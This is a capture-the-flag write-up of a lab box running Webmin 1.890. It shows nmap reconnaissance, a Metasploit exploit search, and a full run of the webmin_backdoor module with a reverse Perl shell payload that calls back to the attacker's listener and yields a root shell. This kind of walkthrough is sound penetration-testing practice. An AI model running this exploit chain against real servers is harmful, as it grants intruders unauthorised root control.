

WriteUp

Nmap discovers 2 ports(ssh;22 and http;10000)

```
└─# nmap -Pn -sS -A -p- 10.10.47.90 -T5
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-26 12:49 CDT
Warning: 10.10.47.90 giving up on port because retransmission cap hit (2).
Stats: 0:09:17 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 87.51% done; ETC: 13:00 (0:01:20 remaining)
Nmap scan report for 10.10.47.90
Host is up (0.091s latency).
Not shown: 65489 closed tcp ports (reset), 44 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 (RSA)
|   256  b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c (ECDSA)
|_  256  a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce (ED25519)
10000/tcp  open  http     MiniServ 1.890 (Webmin httpd)
|_ http-server-header: MiniServ/1.890
|_ http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.2 - 4.9 (93%), Linux 3.7 - 3.10 (93%)
No exact OS matches for host (test conditions non-ideal). 10.10.47.90
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 256/tcp)
HOP RTT      ADDRESS
1   92.00 ms  10.8.0.1
2   92.06 ms  10.10.47.90

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 711.30 seconds
```

Connect to <https://10.10.47.90:10000/> (webmin runs with SSL) and we'll get this page.



Webmin

You must enter a username and password to login to the server on
10.10.47.90

☐

Remember me

➔ Sign in

After trying several authentication attempts involving the `admin` or `root` logins with common passwords, I decided to search for exploits.

```
msf6 > search exploit webmin

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/webapp/webmin_show CGI Exec  2012-09-06     excellent Yes    webmin /file/show.cgi Remote Command Execution
1  auxiliary/admin/webmin_file_disclosure  2006-06-30     normal  No     webmin File Disclosure
2  exploit/linux/http/webmin_file_manager_rce  2022-02-26     excellent Yes    webmin File Manager RCE
3  exploit/linux/http/webmin_package_updates_rce  2022-07-26     excellent Yes    webmin Package Updates RCE
4  exploit/linux/http/webmin_packageup_rce  2019-05-16     excellent Yes    webmin Package Updates Remote Command Execution
5  exploit/unix/webapp/webmin_upload_exec  2019-01-17     excellent Yes    webmin Upload Authenticated RCE
6  auxiliary/admin/webmin/edit_html_fileaccess  2012-09-06     normal  No     webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
7  exploit/linux/http/webmin_backdoor      2019-08-10     excellent Yes    webmin password_change.cgi Backdoor

Interact with a module by name or index. For example info 7, use 7 or use exploit/linux/http/webmin_backdoor

msf6 > |
```

several exploits require valid credentials that's why we are going to use exploit/linux/http/webmin backdoor.

```
msf6 exploit(linux/http/webmin_backdoor) > show options

Module options (exploit/linux/http/webmin_backdoor):



| Name      | Current Setting | Required | Description                                                                                            |
|-----------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| Proxies   |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT     | 10000           | yes      | The target port (TCP)                                                                                  |
| SSL       | false           | no       | Negotiate SSL/TLS for outgoing connections                                                             |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                       |
| TARGETURI | /               | yes      | Base path to Webmin                                                                                    |
| URI_PATH  |                 | no       | The URI to use for this exploit (default is random)                                                    |
| VHOST     |                 | no       | HTTP server virtual host                                                                               |



When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:



| Name    | Current Setting | Required | Description                                                                                                                           |
|---------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| SRVHOST | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT | 8080            | yes      | The local port to listen on.                                                                                                          |



Payload options (cmd/unix/reverse_perl):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST |                 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:
```

we need some configurations like rhosts, lhost and ssl, and we are going to run the exploit.

```
msf6 exploit(linux/http/webmin_backdoor) > set rhosts 10.10.47.90
rhosts => 10.10.47.90
msf6 exploit(linux/http/webmin_backdoor) > set lhost tun0
lhost => 10.8.9.172
msf6 exploit(linux/http/webmin_backdoor) > set SSL TRUE
(!) Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 exploit(linux/http/webmin_backdoor) > run

[*] Started reverse TCP handler on 10.8.9.172:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target is vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.8.9.172:4444 -> 10.10.47.90:60758) at 2023-07-26 13:21:10 -0500

id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
SHELL=/bin/bash script -q /dev/null;
root@source:/usr/share/webmin/# |
```

Oh Yeas!! The exploit works and we get a shell.
and This exploit directly gives us a privileged shell and we don't even need a privesc.

